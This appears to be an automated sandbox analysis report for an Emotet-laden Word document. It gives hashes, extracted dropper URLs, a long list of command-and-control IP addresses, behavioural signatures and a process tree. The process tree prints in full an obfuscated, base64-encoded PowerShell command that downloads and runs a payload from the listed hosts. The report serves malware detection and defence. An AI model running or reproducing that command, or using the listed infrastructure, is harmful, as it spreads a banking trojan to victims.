emotet | 8292af351e1a3422b40ca14a730c4a8c4e65bf1fe1daaa33852934cac3a2d43c

General

Target
emotet_e2_8292af351e1a3422b40ca14a730c4a8c4e65bf1fe1daaa33852934cac3a2d43c_2020-09-30__034223662199._doc.doc
Size 132KB
Sample200930-4v629ezmk2
SHA256 8292af351e1a3422b40ca14a730c4a8c4e65bf1fe1daaa33852934cac3a2d43c
MD5 0677b4cd4de2b5091971838574b1994c
SHA1 94970eb826be639d0f4a0c82b5f428a9c55329ee
SHA512 308b60398982aeb9653a309de93f524d6bcc0cd3d7c955c8f961e1c67751ec10cfa586d18b49f1c58365397444a8c1edc14f0f40e65f0a977cdf6c035bcdec8d
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
https://trueteeshirt.com/wp-admin/5/
exe.dropper
https://nhaphomau.com/sa7/
exe.dropper
https://heck-electric.com/wp-includes/vUB/
exe.dropper
http://techinotification.com/wp-includes/ii1pd0x/
exe.dropper
http://editzarmy.com/journal/WinEA/
exe.dropper
https://noithatfhouse.com/wp-includes/g5JI21S/
exe.dropper
http://techitrends.com/wp-includes/qO/

Extracted

Family

emotet

C2

104.193.103.61:80
104.131.123.136:443
5.196.108.189:8080
121.124.124.40:7080
87.106.139.101:8080
213.196.135.145:80
50.35.17.13:80
38.18.235.242:80
24.43.32.186:80
82.80.155.43:80
103.86.49.11:8080
113.61.66.94:80
24.137.76.62:80
187.49.206.134:80
42.200.107.142:80
24.179.13.119:80
93.147.212.206:80
108.46.29.236:80
105.186.233.33:80
37.139.21.175:8080
61.19.246.238:443
97.82.79.83:80
78.188.106.53:443
168.235.67.138:7080
83.169.36.251:8080
89.216.122.92:80
176.111.60.55:8080
181.169.34.190:80
118.83.154.64:443
140.186.212.146:80
139.59.60.244:8080
174.106.122.139:80
194.187.133.160:443
62.30.7.67:443
68.252.26.78:80
75.139.38.211:80
130.0.132.242:80
172.104.97.173:8080
85.152.162.105:80
74.208.45.104:8080
71.15.245.148:8080
139.162.60.124:8080
62.75.141.82:80
203.153.216.189:7080
91.211.88.52:7080
96.249.236.156:443
95.213.236.64:8080
66.65.136.14:80
104.131.44.150:8080
91.146.156.228:80
79.98.24.39:8080
174.45.13.118:80
157.245.99.39:8080
80.241.255.202:8080
71.72.196.159:80
120.150.60.189:80
220.245.198.194:80
121.7.31.214:80
85.96.199.93:80
67.10.155.92:80
109.74.5.95:8080
188.219.31.12:80
162.241.242.173:8080
110.145.77.103:80
78.24.219.147:8080
47.144.21.12:443
139.99.158.11:443
110.142.236.207:80
94.23.237.171:443
50.91.114.38:80
76.175.162.101:80
46.105.131.79:8080
181.169.235.7:80
87.106.136.232:8080
5.39.91.110:7080
24.43.99.75:80
104.131.11.150:443
139.162.108.71:8080
209.141.54.221:8080
124.41.215.226:80
123.176.25.234:80
137.59.187.107:8080
216.139.123.119:80
94.200.114.161:80
79.137.83.50:443
5.196.74.210:8080
104.236.246.93:8080
137.119.36.33:80
37.187.72.193:8080
172.91.208.86:80
142.112.10.95:20
134.209.36.254:8080
190.240.194.77:443
1.221.254.82:80
185.94.252.104:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3732	3904	POwersheLL.exe	72

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/800-17-0x0000000002170000-0x0000000002180000-memory.dmp	emotet
behavioral2/memory/800-17-0x0000000002170000-0x0000000002180000-memory.dmp	emotet
behavioral2/memory/1172-23-0x00000000021A0000-0x00000000021B0000-memory.dmp	emotet
behavioral2/memory/1172-23-0x00000000021A0000-0x00000000021B0000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
24	3732	POwersheLL.exe
26	3732	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
800	Pccesw28f.exe
1172	AuthFWSnapin.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\LockAppBroker\AuthFWSnapin.exe	Pccesw28f.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3956	WINWORD.EXE
3956	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3732	POwersheLL.exe
3732	POwersheLL.exe
3732	POwersheLL.exe
1172	AuthFWSnapin.exe
1172	AuthFWSnapin.exe
1172	AuthFWSnapin.exe
1172	AuthFWSnapin.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3732	POwersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
800	Pccesw28f.exe
800	Pccesw28f.exe
1172	AuthFWSnapin.exe
1172	AuthFWSnapin.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3732 wrote to memory of 800	3732	POwersheLL.exe	79
PID 3732 wrote to memory of 800	3732	POwersheLL.exe	79
PID 3732 wrote to memory of 800	3732	POwersheLL.exe	79
PID 800 wrote to memory of 1172	800	Pccesw28f.exe	81
PID 800 wrote to memory of 1172	800	Pccesw28f.exe	81
PID 800 wrote to memory of 1172	800	Pccesw28f.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_8292af351e1a3422b40ca14a730c4a8c4e65bf1fe1daaa33852934cac3a2d43c_2020-09-30__034223662199._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3956

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABKADYAZQBvADQAMAA1AD0AKAAoACcAUAB5ACcAKwAnAHgAMQBnACcAKQArACcAeQA1ACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgB2ADoAdQBTAGUAUgBwAFIAbwBmAGkATABlAFwAQQBiAEMAcQAwAEwANABcAFAARQBpAGsAcAA0AFQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBjAHQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAFUAYABSAGkAYABUAFkAUAByAG8AdABPAGMAYABPAEwAIgAgAD0AIAAoACcAdABsACcAKwAoACcAcwAxADIAJwArACcALAAnACsAJwAgAHQAJwApACsAJwBsACcAKwAoACcAcwAxADEALAAnACsAJwAgACcAKwAnAHQAJwApACsAJwBsAHMAJwApADsAJABYADkAZgAzAG4AeQBlACAAPQAgACgAJwBQACcAKwAoACcAYwBjAGUAcwAnACsAJwB3ACcAKQArACgAJwAyADgAJwArACcAZgAnACkAKQA7ACQASABmAGoANABwAGUAcAA9ACgAJwBMAHQAJwArACgAJwB1ADIAJwArACcAZAAnACkAKwAnAGMAaQAnACkAOwAkAEcAOQA0ADgAawBzAGQAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAYwAnACsAKAAnAEUAUgBBACcAKwAnAGIAYwBxACcAKQArACgAJwAwAGwANAAnACsAJwBjAEUAJwApACsAKAAnAFIAUABlAGkAawAnACsAJwBwACcAKwAnADQAJwApACsAKAAnAHQAYwBFACcAKwAnAFIAJwApACkALgAiAHIARQBwAGwAQQBgAGMARQAiACgAKAAnAGMAJwArACcARQBSACcAKQAsACcAXAAnACkAKQArACQAWAA5AGYAMwBuAHkAZQArACgAKAAnAC4AZQAnACsAJwB4ACcAKQArACcAZQAnACkAOwAkAFcAawB6AGMAcwA5AGwAPQAoACcAUgBtACcAKwAoACcAMgBvAGQAJwArACcAMgBlACcAKQApADsAJABFAHAAdQBtAGwAdwA2AD0AJgAoACcAbgBlAHcAJwArACcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABuAEUAdAAuAHcARQBiAGMATABJAGUATgBUADsAJABJAHoAcwB1AHkAbQBxAD0AKAAoACcAaAB0AHQAcAAnACsAJwBzACcAKQArACgAJwA6AC8ALwB0AHIAdQAnACsAJwBlAHQAZQAnACsAJwBlAHMAJwArACcAaABpACcAKQArACgAJwByAHQALgBjAG8AbQAvACcAKwAnAHcAcAAtAGEAZABtACcAKwAnAGkAJwApACsAKAAnAG4AJwArACcALwA1AC8AJwApACsAKAAnACoAaAB0ACcAKwAnAHQAJwApACsAJwBwACcAKwAnAHMAOgAnACsAKAAnAC8ALwBuAGgAYQAnACsAJwBwACcAKQArACgAJwBoAG8AJwArACcAbQBhAHUALgBjAG8AJwApACsAJwBtACcAKwAnAC8AcwAnACsAKAAnAGEANwAvACcAKwAnACoAJwApACsAKAAnAGgAdAB0ACcAKwAnAHAAcwAnACsAJwA6ACcAKQArACgAJwAvAC8AaAAnACsAJwBlAGMAJwApACsAJwBrAC0AJwArACgAJwBlAGwAJwArACcAZQAnACsAJwBjAHQAcgAnACkAKwAoACcAaQAnACsAJwBjAC4AYwAnACsAJwBvAG0ALwB3AHAAJwArACcALQBpAG4AYwAnACkAKwAoACcAbAB1ACcAKwAnAGQAZQAnACkAKwAoACcAcwAvAHYAJwArACcAVQAnACkAKwAnAEIAJwArACgAJwAvACoAJwArACcAaAB0AHQAcAA6ACcAKwAnAC8ALwB0ACcAKQArACgAJwBlACcAKwAnAGMAaAAnACkAKwAoACcAaQBuACcAKwAnAG8AdAAnACsAJwBpAGYAaQBjAGEAdAAnACsAJwBpACcAKQArACgAJwBvACcAKwAnAG4ALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB3AHAALQBpACcAKwAnAG4AJwApACsAJwBjACcAKwAoACcAbAB1AGQAZQBzACcAKwAnAC8AJwApACsAKAAnAGkAaQAxACcAKwAnAHAAZAAnACkAKwAoACcAMAAnACsAJwB4AC8AKgAnACsAJwBoAHQAdAAnACkAKwAoACcAcAAnACsAJwA6AC8ALwAnACsAJwBlAGQAaQB0AHoAYQByACcAKwAnAG0AeQAuACcAKQArACcAYwAnACsAJwBvACcAKwAnAG0AJwArACgAJwAvACcAKwAnAGoAbwB1AHIAJwApACsAKAAnAG4AJwArACcAYQBsAC8AVwAnACkAKwAoACcAaQBuAEUAJwArACcAQQAvACcAKwAnACoAaAB0AHQAJwArACcAcABzACcAKwAnADoALwAvAG4AbwBpAHQAaAAnACsAJwBhACcAKQArACgAJwB0AGYAJwArACcAaABvAHUAcwAnACsAJwBlAC4AYwBvAG0AJwArACcALwB3ACcAKQArACgAJwBwACcAKwAnAC0AaQAnACkAKwAnAG4AJwArACgAJwBjACcAKwAnAGwAdQBkAGUAcwAvACcAKQArACcAZwAnACsAKAAnADUASgBJADIAMQBTAC8AKgAnACsAJwBoAHQAJwArACcAdABwACcAKQArACgAJwA6AC8AJwArACcALwB0AGUAYwBoAGkAdAAnACsAJwByAGUAJwApACsAKAAnAG4AZAAnACsAJwBzACcAKQArACgAJwAuAGMAbwAnACsAJwBtAC8AdwBwACcAKQArACgAJwAtACcAKwAnAGkAbgBjAGwAdQAnACkAKwAnAGQAZQAnACsAKAAnAHMALwAnACsAJwBxAE8ALwAnACkAKQAuACIAcwBQAGwAYABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABHAHkAeQB5AHYANABqAD0AKAAoACcASQAnACsAJwB4AGkAJwApACsAJwBsACcAKwAoACcAbgAnACsAJwA3AF8AJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABQADEAMABjAGcAdgBjACAAaQBuACAAJABJAHoAcwB1AHkAbQBxACkAewB0AHIAeQB7ACQARQBwAHUAbQBsAHcANgAuACIARABPAGAAdwBOAGwATwBhAGAARABgAEYAaQBMAGUAIgAoACQAUAAxADAAYwBnAHYAYwAsACAAJABHADkANAA4AGsAcwBkACkAOwAkAFgAagAzAHIAaQBjAHkAPQAoACcAVgAnACsAKAAnAF8AJwArACcAZQAnACsAJwBjAG4AYQByACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAIAAkAEcAOQA0ADgAawBzAGQAKQAuACIAbABgAEUAbgBnAGAAVABIACIAIAAtAGcAZQAgADMANAAwADkAOQApACAAewAuACgAJwBJACcAKwAnAG4AJwArACcAdgBvAGsAJwArACcAZQAtAEkAdABlAG0AJwApACgAJABHADkANAA4AGsAcwBkACkAOwAkAEoAcwBwAG8AdQB5AGMAPQAoACgAJwBFACcAKwAnADMANgB6AF8AJwApACsAJwA5ACcAKwAnADUAJwApADsAYgByAGUAYQBrADsAJABUAHIANQAwAHkAMABnAD0AKAAoACcASAA1ACcAKwAnAHcAeQBnACcAKQArACcAZgBsACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATgA4AGEAbgB1AHcAbgA9ACgAKAAnAFIAJwArACcAcQBjAGwAJwApACsAJwA0ACcAKwAnAHoANgAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3732
- C:\Users\Admin\Abcq0l4\Peikp4t\Pccesw28f.exe
  "C:\Users\Admin\Abcq0l4\Peikp4t\Pccesw28f.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:800
- - C:\Windows\SysWOW64\LockAppBroker\AuthFWSnapin.exe
    "C:\Windows\SysWOW64\LockAppBroker\AuthFWSnapin.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1172

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/800-17-0x0000000002170000-0x0000000002180000-memory.dmp

Download

memory/1172-23-0x00000000021A0000-0x00000000021B0000-memory.dmp

Download

memory/3732-10-0x0000019B395D0000-0x0000019B395D1000-memory.dmp

Download

memory/3732-9-0x0000019B39420000-0x0000019B39421000-memory.dmp

Download

memory/3732-8-0x00007FF8FA560000-0x00007FF8FAF4C000-memory.dmp

Download

memory/3956-0-0x00007FF901DC0000-0x00007FF902486000-memory.dmp

Download

memory/3956-7-0x000002285B41E000-0x000002285B429000-memory.dmp

Download

memory/3956-6-0x000002285B41E000-0x000002285B429000-memory.dmp

Download

memory/3956-5-0x000002285BB85000-0x000002285BB8F000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads